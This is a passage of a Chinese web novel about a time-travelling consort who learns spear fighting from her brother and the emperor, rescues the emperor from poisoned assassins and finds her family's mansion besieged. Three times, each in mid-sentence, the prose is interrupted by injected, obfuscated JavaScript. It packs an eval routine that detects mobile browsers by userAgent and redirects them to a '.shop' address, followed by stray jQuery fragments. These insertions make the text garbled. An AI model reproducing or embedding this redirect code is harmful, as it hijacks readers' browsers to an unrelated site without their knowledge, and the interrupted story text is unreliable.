“祖母,您就别为难我了,我只是一介武夫,在陛下面前哪有什么话语权?”苏风逸语气里的无奈之意更甚:“再说了,就小夕之前与显王殿下所做之事,哪一件不是死罪?陛下所担心的也不无道理,若是......小夕是装的呢?若这一切是她和显王的计谋呢?” “苏风逸,她是你妹妹!” “她是我妹妹,但我亦是臣子!如今朝野局势内忧外患,陛下是皇帝,他下错一步棋,便是满盘皆输;别说是陛下输不起,连我们这些臣子也如此,太子之事已然是血淋淋的教训。” 大堂外的夏星辰听到这番话,内心五味杂陈,但她自然也是明白尧让所担心之事——他害怕自己成为第二个太子。 在她还在陷入沉思之时,刚迈出门的苏风逸正好看到躲在一旁的她。 “小夕,你身体无大碍了?” 看着眼前苏风逸,夏星辰挤出了一个很明显的牵强笑容:“是啊,哥哥,我没事了。” “那你......都听到了?” “你说那么大声,我想听不到很难吧。”夏星辰嘟囔道。 苏风逸轻叹息,抬手轻抚她的头,淡淡一笑道:“小夕,眼下无需你做什么,只要你安分守己,做好这个明妃娘娘,你便不会有任何性命之忧;这般,也挺好。” “对不起,哥哥。”夏星辰低下了头,任凭眼泪滴落:“我不想那样。” 听着夏星辰哽咽的声音,苏风逸一下子错愕了。他当真是猜不透自己的妹妹究竟是发生了什么才会有这般巨大的变化,看到她这般,苏风逸不止一次怀疑眼前的人并非是自己的妹妹。 但此等荒唐之事还是被他自己否认了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688642|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可你若是再继续一而再再而三去试探陛下,你得不到什么好处的;一旦真触怒龙颜,你是真的会死的。” “你为什么也不相信我呢?”夏星辰抬起头,泪水早已沾满了脸庞。 以前的夏星辰一直不懂,这天下良配这么多,为什么有些人会那么喜欢一个人,为什么明知结果不尽人意,也要‘飞蛾扑火’? 换成在现代的夏星辰,一定会认为这般行径和想法就是‘恋爱脑’。但不知从什么时候起,这三个字便连同那些付出真心之人也一棍子打死。 也许真心之人太过于稀缺,没有人再愿意付出一切成为赌徒。很多人如此,尧让也如此...... 苏风逸抬起手温柔地擦拭她脸上的泪水,轻声道:“小夕,哥哥希望你明白,哥哥首先是将军,其次再是你的兄长;若小夕真的迷途知返,那幸好,你与哥哥并非对立面,所以,你平安就好。” 看着苏风逸,夏星辰似乎下定决心做出一个重大的决定。她攥着他的衣袖,眼神坚定地说道:“哥哥,我不想成为深宫中独守宫墙的妃子,也不想成为事事都需要躲在将军府身后的柔弱之人,所以,我想学武,可以吗?” “你说什么?学武?”苏风逸不可置信地看着她,默默地收回了手。 “是,我认真的!” “你不是一直认为这是粗鄙之人才做的事吗?为此,你还丢掉了长枪,如今,怎么又想起......学武了?” 面对苏风逸提出来的疑问,她能理解他。其实夏星辰自己之前也不止一次确认自己的心意是否真如此,是否只有三分钟热度。 可是在看到那场特别烟火中的鲜衣怒马少年郎时,在确定自己对尧让的心意时,在懂得他的顾虑时,她内心萌生的这个念头便愈发的强烈。 毕竟,强者的身边也应该是强者! “哥哥,我是真的想学,你教我,行不行?” 苏风逸嘴角微微上扬,俯身看着她,说道:“你想好了?” 她还未应答,祖母和苏承就走了出来。祖母握着夏星辰的手,温声劝道:“小夕啊,你若实在想学武,让你爹教你啊。” “是啊,爹可以教你。”苏承信心满满地说道。 夏星辰看着二人一唱一和,她又不是傻子,他们的心思她还不明白吗。不就是他们认为她就只是玩玩,并非要认真对待。 “可我想要哥哥教我!” “你这孩子怎么回事?你哥哥他可与你爹不同。”祖母说这话时,脸上一脸的担忧。 “怎......怎么不同?”夏星辰疑惑地问道。 此问题一问出口,苏风逸就笑出了声,笑声中藏着猜不透之意:“因为哥哥比爹要严厉得多,在哥哥手下练武的人,太弱以及没什么天赋造诣的,大多数都成为废人了。” 听到这话,夏星辰不禁吓得后退了一步:“这......这么夸张吗?” “不夸张!你兄长可是风虎军的头领,他岂是什么怜香惜玉之人。”祖母依旧相劝道:“小夕啊,你如今已是宫中妃子,这苦头不吃也罢。” “祖母,您过分了,我怎么不是怜香惜玉之人了?”苏风逸说着这话时,语气里尽是不满。 夏星辰紧攥着苏风逸的袖口不松手,长呼了一口气:“哥哥,我确定,我不怕吃苦。再苦,能有上班当牛马苦?” “什么牛马?”苏风逸以为她觉得自己要让她当牛做马,无奈笑道:“哥哥没那么恐怖......” 事实上却是——‘男人说的话果然是不可信的’。 “换这个,继续。”苏风逸将一杆长枪丢到夏星辰身上,她本能地伸手接住,却因为长枪太重而掉落在地。 她小心翼翼地抬眼看着严肃的苏风逸,坐在石阶上的人却冷淡地迎上她的视线,冷声道:“去吧,扎马步!” “哦。”夏星辰走到一旁,默默地扎起了马步。 连着好几日,夏星辰依旧没能轻松自如地手握长枪。 30.你与那个人又有何不同 即便是苏风逸每日都因为她接不住长枪而罚她扎马步,但她也没有像以前一样觉得太苦太累而放弃且埋怨。夜深人静的时候,自己也会手拿着树枝,按照苏风逸所教的简单招数练习着。 日子一天天过去,苏风逸还是一如往常地将一杆长枪一次次抛给夏星辰。而这一次,她却稳稳地伸出手握住了半空中的长枪。 见状,她开心地蹦跳着说道:“哥哥,你看到了吗?我接住了!” “既然如此,那便运用哥哥教你的招式,与哥哥比试一番,只要你胜哥哥一回合,便算你赢。” “赢了有什么奖励吗?” 苏风逸笑着点点头:“有,若你赢了,哥哥就教你我的独门所创。” “一言为定!”夏星辰手持长枪直指着苏风逸。 “一言为定!” 夏星辰手握着长枪,朝着苏风逸刺去,却被他轻松躲过。苏风逸立于兵器架上,他一脚轻轻一踏,兵器架上的一把长剑便落到他的右手上。 “妹妹,接招!” 话音刚落,只见苏风逸手持长剑往前一挥,剑气所出之时,兵器架上的兵器如同受他控制一般,全部往夏星辰的方向飞去,只见她握着长枪一一将各式各样的兵器击落,唯有一杆长戟,忽的掉转了方向,直直往苏风逸刺去。 下一刻,苏风逸立于半空,一脚发力,将长戟狠狠地刺入柱子中;而人随即稳稳落地。 “可以啊,妹妹。” 能从苏风逸嘴里得到夸赞,夏星辰别提有多开心了。她略带骄傲说道:“那自然,我可是很认真的练习,没有懈怠过。” “你别太骄傲了,以你现下的能力,远不在他人之上。” 听到他这样说,夏星辰就显得有些着急:“哥哥,我可以继续学的,你只要教我,我就认真学。” “小夕,不用急于求成;哥哥教你的这些,足够你应付大多数情况了。”苏风逸走到她身前,笑道:“再说了,你在深宫中,若是遇到武功高强的,不用你出手,陛下身边的人足以应付,你啊,就保护好自己就行了。” “好吧。”夏星辰似乎想到了更重要的事,笑道:“哥哥,那你便将方才所说的独门所创教给我吧。” “你赢我了吗?” “你出尔反尔!”夏星辰假装大声哭了出来:“祖母,哥哥欺负我。” 她刚哭喊出声,就立刻被苏风逸捂住了嘴,后者认怂道:“好好好,我教。” 夏星辰颇为满意地点点头。 自从得到了苏风逸的独门所创,夏星辰一有空闲便手握着长枪在后院练习着。直到这天,她如往常一般吃完晚膳就打算练习枪法,便意外看到百里进了书房后,很快便同苏风逸一起往外面走去。 “哥哥!” 夏星辰朝着二人跑去,她从二人严肃的神情中看出了定是有事发生,而且事还不小。 “发生什么事情了?你们要去哪里?” “小夕,哥哥有事处理,你安分待在府里。”苏风逸说完,便欲要同百里离开。 “是不是陛下出什么事了?” 苏风逸脸上逐渐出现不耐烦的神情:“小夕,哥哥不喜欢再说重复的话。” 话刚说完,他便同百里跃墙而出。 即便是苏风逸没有明说,夏星辰也已经猜测到,尧让在宫里肯定遇到什么事了。她跑回去持起长枪,随即就朝着皇宫的方向跑去。 “林贤,林贤。” 御书房里,龙椅上身体发软的尧让还在叫唤着林贤,耷拉在龙椅一侧的手掌还在不断地渗着鲜血。 “陛下,奴才来了。”林贤跌跌撞撞地冲进内殿,赶到尧让身边。 “林贤,朕全身无力......” 话音刚落,身旁的林贤已经将他缓缓背在身上,低声安慰道:“陛下,奴才这就带您出去。” 刚下龙椅,几名黑衣人便走了进来,为首的看着二人,开口道:“狗皇帝,将命留下吧。” “有我在,你们这些歹人休想伤害陛下分毫。”林贤轻轻将尧让放下,使其靠着柱子,笑了笑道:“陛下,奴才一定将您带出去。” 话一说完,林贤便转过身,将一件布满铁钉的爪套戴在右手上。随后,几名黑衣人便一拥而上,林贤一拳一拳地击退往前逼近的人。 可下一刻,他却突然吐出了一口鲜血。 “死太监,你以为中毒的只有狗皇帝吗?”为首的黑衣人持着大斧,走到林贤身边,狠厉地说道:“既然你这么想陪狗皇帝去死,那就先杀了你,然后再慢慢折磨狗皇帝。” 手中的大斧缓缓抬起,靠着柱子的尧让也渐渐攥紧拳头。在大斧落下的那一刻,一杆长枪瞬间将大斧击落在一旁,黑衣人一脸错愕。与此同时,尧让突然站起身,手持一柄长剑,猝不及防地刺穿了为首黑衣人的咽喉。 随后,为首黑衣人往后重重倒在了地上。 看到尧让这般行径,瘫坐在地上的林贤便极为担心地开口:“陛下,您这般会使得毒发得更快的。” 果然,尧让便再次因为全身无力而往后退了几步,直到身体重重地靠在柱子上。 见此情形,剩下的黑衣人再一次一拥而上,林贤站起身,脸上一副毅然赴死的神情望向他们。而手持着长剑的夏星辰冲了进来,黑衣人看到身后来的人,便一致将进攻目标转向了夏星辰。 对于夏星辰的到来,尧让二人震惊无比。但让他们更为震惊的是,她何时会的武功? 夏星辰游刃有余地解决了一个又一个黑衣人,该说不说,苏风逸教她的那些招式,在面对这些武功不算高强的黑衣人,还算是绰绰有余。 随着御林军冲了进来,仅剩下的黑衣人纷纷被当场擒拿。而百里这时候也赶了进来,身后还跟着一名身着白衣的女子,她全身上下最引人注目的便是腰间挂着那个透明药罐里的蜘蛛。 看来,这个女子就是尧让先前说的爱养蜘蛛的人! “墨影,你快给陛下解毒,陛下方才强行内力,毒素运行得更快了。”林贤虚弱地说道。 墨影跑到尧让身边,她取出几根银针,随着银针扎在穴位上的瞬间,尧让便吐出了一口黑血。接着,她瞥见他左手掌心的划痕,神情严肃地说道:“陛下,您这一开始就想好了强行解毒!我记得我说过,这种强行解毒的法子,会损坏您的身体。” “无碍。”尧让抬起手擦了擦嘴角的血迹。 一旁的夏星辰本来就是普通医者,而且她一个现代人哪里学过什么解毒的法子。自知无法参与进去,便捡起地上的长枪,然后轻手轻脚地往殿外走去。 “苏清夕!” 这意外响起的声音叫停了她的脚步,她回过身,看着被搀扶起身的尧让正朝着自己走来。 “你怎么会出现在这里?” 夏星辰深怕他会觉得自己与这些黑衣人有关,连忙解释道:“陛下,我......我可是与他们没有关系的;我是看到我哥哥和百里着急忙慌地出门,我担心陛下你会不会有事,所以我就赶来了。” 尧让低头看了一眼她握着自己的右手手腕,淡淡地开口:“你这才学了一星半点的武功,身体底子这般差,第一次持剑一定会受伤;朕倒不知,你这般会逞强啊。” “那还不是长枪扔进去,我捡不回来,所以就在外面随便捡了一把长剑。”夏星辰嘟囔道:“而且,我哥哥没教我用剑。” “墨影,给她看看。”尧让吩咐道。 墨影走了过来,她拿起夏星辰的右手。拿起手的瞬间,便传来一股刺痛,痛得她“嘶”了一声。 “你不会轻点吗?”身侧的帝王再次发出了声。 “我知道了。”墨影这才轻轻地细查着她的骨头情况,继而道:“她这就是用蛮力挥剑影响的,骨头也没问题,用点药,休息两日就好了。” “多谢。”夏星辰笑道。 “就这点伤,将军府的人何时也变得这般娇气了。” 看着墨影这般不情不愿的模样,尧让的神情极为的阴沉,冷声道:“这是皇宫,你眼前站着的人是朕亲封的妃子,你若是学不会尊卑,那便让百里教你何为尊卑!” “我......我不敢了,请陛下莫要生气。” “最好如此,别总三番四次犯一些不该犯的错误。” 墨影点点头:“墨影知道了。”低声道:“陛下,先回极咸宫吧,将体内的毒素彻底排出才行。” 随后,尧让在墨影的搀扶下,缓步往极咸宫的方向走去。 原本打算先行离开的夏星辰却再一次被拦住,她看着站在自己身前的百里,问道:“百里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702964|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了?” “娘娘,属下先行带林公公下去照料,劳烦娘娘往极咸宫帮一下墨影。” “好。” 极咸宫内,与往常一般,夏星辰就乖乖站在一旁候着,看看是否需要自己做些别的事情。伴随着尧让猛地再次吐出了一口黑血,墨影也将最后两根银针放回针筒里。 “陛下,眼下无碍了,三日之内,好生静养便可痊愈。” 尧让微微点了点头:“朕知晓了,你下去给林贤看看,他也中毒了。” “好,那我将百里唤来候在您身侧。” “不用。”尧让抬眼看向候在一旁的夏星辰,开口道:“明妃这不是在吗?” 听到尧让提起自己,夏星辰乖乖点头:“是啊,我在呢。” 墨影看了一眼夏星辰,小声地闷哼了一声:“那劳烦明妃娘娘随我来,我开些药,再交代一下需要注意的事情。” “哦。”夏星辰简单地应了声后便随着墨影走出内殿。 “这金疮药你等会儿就给陛下涂在手心上,药性猛烈,涂到伤口的时候会有点疼,你细心些。” “没问题。” “果然是妾室,照顾人还是挺会的。” 墨影三番四次这般阴阳怪气,夏星辰可谓是忍了一次又一次。她不禁笑了笑:“墨影,你可知这是皇宫,本宫是妃子,而你只是平民,于情于理,你都该尊称本宫为一声娘娘。” “我可不是平民。” “也许你是同百里一般,在陛下身边为陛下做事,可那又如何呢?本宫即便是你口中的妾室,那也是陛下的妃子。你如此没有礼数,如此目无尊卑,说好听点你是自由的江湖人士,说难听点,你就是一个粗鄙之人。” 自从紫烟那件事过后,可是实实在在给夏星辰留下了一个不小的阴影;有些手段、有些人,还是得留一个心眼。 毕竟是男权社会,别说是皇宫,就算是府宅之内,也难免不了几个女子在围着一个男人明争暗斗、你死我活。而身为接受新思想的现代人,夏星辰怎么可能会让自己成为一个只会争风吃醋的人。 她不会主动去招惹别人,但也得有点自保的手段和防备之心。 “况且,你难不成忘记了方才陛下在御书房对你说的话了?需要本宫再给你重复一遍吗?” “你......”墨影自知说不过她,便心有不满地转过身走了出去。 “陛下,墨影说了,这药烈了些,你忍着点。”夏星辰力道极轻,将药一点点涂在他的伤口上。 涂完药后,见他没有任何反应,便开口问道:“痛吗?” “还行。” “那就好。”夏星辰点了点头:“陛下,那些黑衣人是怎么回事?你又是怎么中的毒?” 尧让看着她,嘴角不禁上扬:“你怎么那么感兴趣朕的事情?” “我这不是担心你吗?” “你还是担心你自己吧。”尧让看了一眼她已经肿起的手腕,神情淡然道:“细胳膊细腿的,学什么武功?” “没有见识的人才会觉得女子学武功没有用,难不成,陛下是这种人?” “你纯心在这里令朕不痛快是不是?” “那你如此防备我,我就很痛快?”夏星辰将药瓶放在身旁的小桌子上,显然是对他上次先行回宫的事情耿耿于怀着:“我知道,陛下你认为我与太子心悦之人一样,但陛下你与太子却是完全不同的。” “哦?朕和太子有什么不同?” 夏星辰突然将脸凑近他眼前,笑了笑道:“太子只是喜欢上了一个错的人。但陛下你,一直在告诉你自己,千万不可以喜欢我。” “后宫那么多妃子,即便是太后刻意安排,但其中也不免有贤良淑德之人,陛下大可以择其一为皇后,统摄六宫。可陛下却没有这么做,那便说明,在陛下的心里,皇后之位尤为重要。” 尧让冷笑出声:“你可知上次这么揣测圣意的,已经被朕五马分尸了!” “我说的实话,并非揣测,我也相信陛下是知晓的。”夏星辰看着他,认真道:“陛下你恨那个女子,但你自己如今与那个人又有何不同?利用我,试探我,要我证明我的心意?这些,都是你在仗着我心悦于你。” “这么一想,我与深受其害的太子有何不同?” 31.得到一句夸奖真不容易 将这些内心的话一鼓作气地当着他的面说了出来,夏星辰觉得无比痛快,又觉得异常失落。这种感觉就像是不仅被骗了感情,还被骗了钱。 现代人最难接受的事情无非有两件,一件就是无法接受最爱之人离去;另一件便是无法接受喜欢的人算计自己。 可对于二十六岁的夏星辰来说,即便她同样无法接受,命运还是让她在十四岁时被迫接受至亲之人离世,而如今,还是在被迫的情况下去接受喜欢的人算计自己。 虽然是穿越而来,原本不该当真的;但什么都能是假的,唯有感受不能。 “苏清夕,朕从未要求你心悦于朕。况且,你口头上的一句喜欢,朕就必须不顾一切?不觉得荒唐吗?” 面对尧让提出来的疑问,她一时语塞,竟不知该如何反驳。 “你说朕利用你?试探你?若非是你心甘情愿踏进去,你又怎么会中招呢?” 夏星辰苦笑了一声:“那这个问题,陛下可曾问过太子?” 尧让抬眼看着她,眼底浮现出些许杀意:“朕最讨厌以功相挟,你不会以为朕当真因为你的救驾而原谅你的口无遮拦吧?” “口无遮拦?不见得吧?陛下,心甘情愿从来不是贬义词,这四个字自然也不能拿来当作太子愚笨的说辞。他只是喜欢了一个错的人,而我与他一样,我就只是喜欢你,我与太子的心甘情愿,本来就不该被当作可利用、可算计的行为。” “够了!朕不想听你说这些,你给朕滚出去。”尧让指着门口的方向,生气的说道。 夏星辰知道自己说的话还得他自己消化一番,便提起了另外一件话题相对轻松的事:“可我还有事情还没说呢,想着跟陛下商量一下。” 尧让极力压制自己的怒火,冷声道:“说。” “是这样的,陛下你那个一剑封喉的招式很厉害,你能教我吗?”一说到这,夏星辰就想起某个不负责任的人,生气的嘟囔道:“我哥哥太不靠谱了,哪有人动不动就往外跑,这些日子,我也才会了几个招式而已。” “你觉得朕凭什么要教你啊?” 夏星辰在胸前比划了一个爱心,顺便嘴角扬起了一个甜美的笑容:“因为陛下你最好,最帅了。” 眼前的帝王完全被她这些无厘头招式整笑了,俨然是忘记了方才二人的争论。 “你就不怕朕公报私仇?” “不会的,你根本不屑做这种事情。”夏星辰小心翼翼地攥住他衣袖的一角,声音极轻:“行吗?求求你了。” 她现在对这暴君的性格是有了解了一丢丢,虽然性情阴晴不定,但绝非是那种听不进去道理的帝王。所以,在大多数情况下,夏星辰知道,哪怕自己说出一些大实话,当下的尧让是绝对不会要自己的性命的。 关键是,这老祖宗有时候是真的好哄! “行啊,三日后,你来寻朕,别后悔就行。” 看着尧让脸上的笑意这般的意味不明,夏星辰突然感到后背一阵发凉:“你会比我哥哥还严厉吗?” 尧让淡淡一笑:“若你觉得害怕,那你可以不来。” “不不不,我一定来!严师出高徒这句话,一定是有道理的。” 此时夏星辰还不知,她现在有多信誓旦旦,后面就有多崩溃大哭...... “娘娘,您来了。”林贤站在极咸宫殿外,看着一身奇怪穿着的夏星辰。 夏星辰为了让自己舒服点,直接将古代厚重的衣服改成了跟现代社会一样轻松且没有负担的款式;总的来说,她现在穿的就是一身现代社会的运动服。 对于古代人的林贤自然是觉得奇怪,毕竟,他见都没见过。 “林公公,陛下醒了吗?” “陛......陛下在里面用早膳呢。” 夏星辰比了一个OK的手势,然后便小跑进去;至于为什么要跑进去,当然是为了蹭吃皇帝的早餐。 看着夏星辰开心蹦跶的模样,林贤一脸疑惑地看着她的背影。正愈发不解的时候,百里突然出现在他身边,开口道:“娘娘她为何这么开心?难不成,她还不知道陛下的手段?” “估计是不知,娘娘怕是要吃苦头了。”林贤叹了口气感慨道。 “还不如找苏风逸呢,身子骨娇弱的女子哪里经得起陛下的折磨?”百里认真地斟酌了一番,立马摇了摇头:“不对,苏风逸那厮也挺会折磨人!” “陛下,陛下!”夏星辰跑了进来,看着一大桌的膳食,她兴奋地说道:“我天啊,不愧是皇帝的膳食,连早餐都这么丰盛啊。” 说着,她便坐了下来,拿起筷子夹了一个包子,笑道:“多谢陛下款待。” 而尧让显然对于她这个行为早就见怪不怪了,见她将包子撕碎了丢进白粥里的行为,没忍住开了口问道:“苏清夕,你这种吃法好吃吗?” “当然了,不过我以前都是拿油条丢进去的。”夏星辰边吃边回答。 “油条是什么?” “呃......它是一种黄黄的、长长的面食。”夏星辰哪里会解释什么是油条,她更不知道古代在什么时候才能发明油条。 “你能不能说一些朕听得懂的?” “主要是我表达能力太差了,不知道从何讲起。” 尧让神情无语至极,更甚者,他都开始暗骂自己为何要多嘴问她,这纯属给自己找不痛快! 但下一刻,他的目光却被夏星辰这一身运动装吸引了过去。 “苏清夕,你穿的这是什么?” 闻言,夏星辰站起身,得意的给他展示了自己的杰作,她眨巴着眼睛,笑道:“我自己裁剪的,看起来是不是轻松且没有负担?” “没有其他轻松且无负担的服饰给你了吗?”尧让压制着自己的不满,开口问道。 “有是有,但运动会流汗的,宫里的衣裳太厚重了。我这不是想着你教我武功,我穿得方便一点,不影响我发挥嘛。” 尧让喝了口汤,无奈道:“随你吧。” 用完了早膳的半个时辰后,夏星辰便跟着尧让来到训练场,她看着兵器架上的一堆完全不认识的兵器,再蹲下身看着如同石头般生硬的沙石场地。 她缓慢站起身,抬眼看向站得笔直的尧让,她不安地咽了下口水,问道:“陛下,这么正规吗?我应该......不是来当兵的吧。” “你的身体素质太差了,贸然练习兵器,你只会像上次那般受伤。” 看着尧让一副淡然的神情,她努力将那股莫名袭来的恐惧压在心头。并暗自鼓励自己来都来了,总不能临阵退缩吧?到时候狗皇帝又觉得自己是在耍他玩。 她重重地点了点头,像是下定了某种决心:“行,我听你的,专业的人有话语权!”夏星辰转念一想,这若是回到现代,上这样的一节课,得老贵老贵了。 这样一说服自己,那还是她赚了! “长跑十里地!” “什么?” “长跑十里地!朕说话不够清楚吗?” 确定自己没有听错后,用了仅会的一点数学知识认真算了算,结结巴巴地开口道:“十里地?换算后是不是大约五......五公里?” 夏星辰多么希望在这一刻,是自己的数学算错了!但随着尧让点了点头,悬着的心总算是死了! “等一下,陛下,五公里是五千米!五千米啊!这会要了我的命的!我最多只能跑一千米,还是半道歇息的那种,你这五千米是真的会死人的。”她极其认真地看着他说道,试图唤醒他的良心。 “别废话,跑!晕了再说。” 迫于无奈下,夏星辰只好硬着头皮跑了起来。她边小步跑着边小口呼吸着,生怕自己真晕厥过去了。 角落里,三个人鬼鬼祟祟地望着训练场上夏星辰长跑的身影。苏风逸不免有点心疼道:“小夕是多想不开,竟然想着去找陛下教她武功?这不纯纯找罪受吗?” “长跑十里地!果真是陛下能做出来的事情。”百里似乎想起了一些记忆,脸上随即露出了痛苦表情。 “不行了,不行了,我快死掉了。”夏星辰停了下来,弯着腰大口大口地喘着气。 “苏清夕,只要你还撑得住,这十里地你定要跑完。” 看着骑在马上的尧让一脸冷漠地说出口这种话,她用极其幽怨的眼神看着他,咬牙切齿道:“你简直不是人!” “你眼下也可以反悔,但日后不许再求朕教你。” “我跑都跑了,这时候反悔,是我亏了!”随即,她喝了口水后便接着继续跑了起来。 这一跑,就是跑了大半天...... “还有三百米。”夏星辰念叨着最后的这三百米,随后便一鼓作气地抵达了终点。 总算完成了这个艰难的任务,她双脚直接瘫软,在要往地上跪下时,却被尧让一手稳稳地扶住了。 夏星辰抬眼看着他,此时的她已经完全说不出来半句话了。整个人直接无力地靠着他,这才勉强地支撑着自己已然‘报废’的身体。 “陛下,我......我是不是过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713614|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关了?”她的声音甚是嘶哑,不仔细听还有点听不清。 “算过关了。” “太......太好了。” 话刚说完,尧让便反应迅速地将因体力不支而晕倒的人抱在了怀里。 接下来的日子里,夏星辰可谓是明白了尧让的可怕之处。狗皇帝训练人的方式简直就是酷刑,每日不是长跑,就是负重疾走,以及什么压腿劈叉什么的;总之就是把夏星辰在现代最害怕的招式都在古代体验了个遍。 “陛下,我今日要练什么?” “长枪。” 夏星辰疑惑地问道:“不应该是长剑吗?” “你适合握长枪。” “行吧,陛下说我适合学哪个,我就学哪个。” 尧让忽然抬手从兵器架上取下一杆长枪,手腕轻扬,枪杆带着破空的风声直直地掷向她:“苏清夕,接稳了。” 夏星辰本能地抬手,手腕轻翻便稳稳地接过长枪,枪身略微有点重量,但她却连指尖都未曾晃一下。这轻松接枪的本领对于她来说简直就是手到擒来,毕竟自己之前可是专门苦练了一段时日呢。 下一刻,尧让便走到她身后,温热的手掌覆上她的手背,指尖顺着枪杆往上移:“手腕要使用巧劲,力气要沉在丹田,不是要靠胳膊硬扛,你这错误姿势若是久了,定会受伤。” 他的气息混着龙涎香的香味贴在她的耳畔,她能感受到他指尖的薄茧擦过她的皮肤,带着适中的力道:“刺出去要快、准、狠。” 忽的,他握着她的手往前一送,枪身瞬间绷直,枪尖稳稳停在半尺外的靶心:“记住了,收枪要带劲,手腕转半圈,枪杆贴着手臂,防备对方反击。朕说的,你可记住了?” 夏星辰没有回应他,只是回过头看着他,再一次被他这张毫无死角的脸折服。 “苏清夕,朕很好看吗?” 她诚实地点点头:“嗯,很好看。” “那你练不练?” “练练练。” 接着,她屏住呼吸跟着他的力道起落,枪尖划破空气。直到额角渗出细汗,他才松开手,后退半步看她独自练习。 “再来一次!力道不对!” 夏星辰长长地呼出了一口气,扔出手中的长枪,随即便快步跑上前去紧紧握住了枪杆,动作干净且利落。 见此情形,尧让抬高了声音开口道:“都过来吧。” 话音刚落,百里走了过来。 “怎......怎么了?”夏星辰不知为什么,看着百里,她竟有种不好的直觉。 尧让语气冷淡:“百里的射击之术甚是精妙,只要你能熟练使用朕教你的枪法,面对他射来的箭矢,你定能一一击落。” 且不说百里的武功究竟多强,就凭他是暗卫这件事,怎么说也不是个弱鸡。 “陛下,这......不适合吧?万一伤到了娘娘,这属下如何是好?” 夏星辰重重地点点头:“是啊是啊,我哪里能击落百里射过来的箭矢啊。” “你的意思是要朕来?”尧让看着百里,脸上的神情甚是阴沉。 百里猛地摇摇头,随即看向夏星辰,躬身道:“娘娘,得罪了!” 话一说完,百里持着弓箭,轻轻一跃,便跃到了高墙之上;下一秒,他将箭搭在弓弦之上,然后拉满了弓。 “苏清夕,你可要认真点,这可是真的箭。” 夏星辰紧紧攥着手中的长枪,聚精会神地盯着高墙上的百里,开口道:“好。” 百里松开了手,箭矢瞬间离弦,直直地朝着夏星辰射来;夏星辰轻松持着长枪将迎面而来的箭矢击落在地。百里笑了笑,迅速地将几支箭矢搭在弓弦上,接着同时离弦。离弦的空隙间,百里又再次搭箭...... 夏星辰跃起身,长枪围着自己的身体转了一圈,便纷纷将箭矢尽数击落在地,仅剩下的唯一一支箭矢,她顺势将长枪抛了出去,长枪将箭矢击落后,直接朝着百里刺了过去。 见势不妙,百里立即侧过身,随即旋身出腿,将长枪往墙上踢去,狠狠地插进了墙体中。 “对不起啊,百里,你没事吧?”夏星辰语气慌张地解释道:“我一下子没注意,对不住啊。” “娘娘,属下无碍。”说着,便一手将长枪拔了出来,随后跃下高墙,将长枪递给了夏星辰。 “苏清夕,是朕小瞧你了,你还挺有本事!” 被尧让这么一夸,夏星辰瞬间喜笑颜开:“陛下,得到你的一句夸奖还真是挺不容易的。” 32.满门抄斩 “行了,从明日起,你不必再来了。”尧让轻飘飘地说道。 “多谢陛下倾囊相授。” 话音刚落,林贤朝着尧让走了过来,随即凑到他的耳边,小声地说了些什么后,尧让的神情便极其严肃。 而后没对夏星辰说一句话,他便急匆匆地离开了训练场。 自那一日后,夏星辰已有半个多月没见到尧让。这半个月以来,她每日所做的事便是吃吃喝喝,然后练习一会儿枪法,最后便是将之前没睡够的觉补了回来。 待在寝宫终究还是无聊,她便打算出宫回趟将军府,好好跟苏风逸炫耀一番自己的训练成果。 马车刚停在将军府门口,她一下马车,便看到整个将军府被御林军包围得水泄不通。 “你们在做什么?”夏星辰跑了过去质问着御林军。 “苏清夕!” 听到声音,夏星辰的视线便落在了从将军府走出来的尧显。 “尧显,你这是做什么?” 尧显一看到夏星辰,他本来就对之前她从自己手上溜走,还命人中伤他之事耿耿于怀着。而今日他带人围堵将军府的此番行为,别提心里有多痛快了。 “苏清夕,本王还真是小瞧了你的手段,咱们的陛下居然还能准你出宫?不过,让你亲眼看到此番此景,倒也使得本王痛快。” “你把话说清楚。” 夏星辰还未从他嘴里得到答案,苏承便被御林军给押了出来。 “放开我爹。”夏星辰走上前推开御林军,伸开了双手将苏承护在身后,态度强硬道:“尧显,你凭什么要抓我爹?你眼里可还有规矩?” 尧显哈哈大笑道:“规矩?苏清夕,你要不要问问苏老将军,让他告诉你,为何将军府会被御林军围堵?” 一股不安的感觉涌上心头,她转过身,眼底浮现出一层按捺不住的急迫:“爹,这究竟是怎么回事?” 面对夏星辰的追问,苏承沉默不语,只是垂下眼帘,往日里总带着几分将军威严的脸上,此刻只剩下浓得化不开的失落与无奈。 一旁的尧显看着苏承那副失魂落魄的表情,得意的开口道:“既然苏老将军开不了口,那本王就大发慈悲地告诉你。” 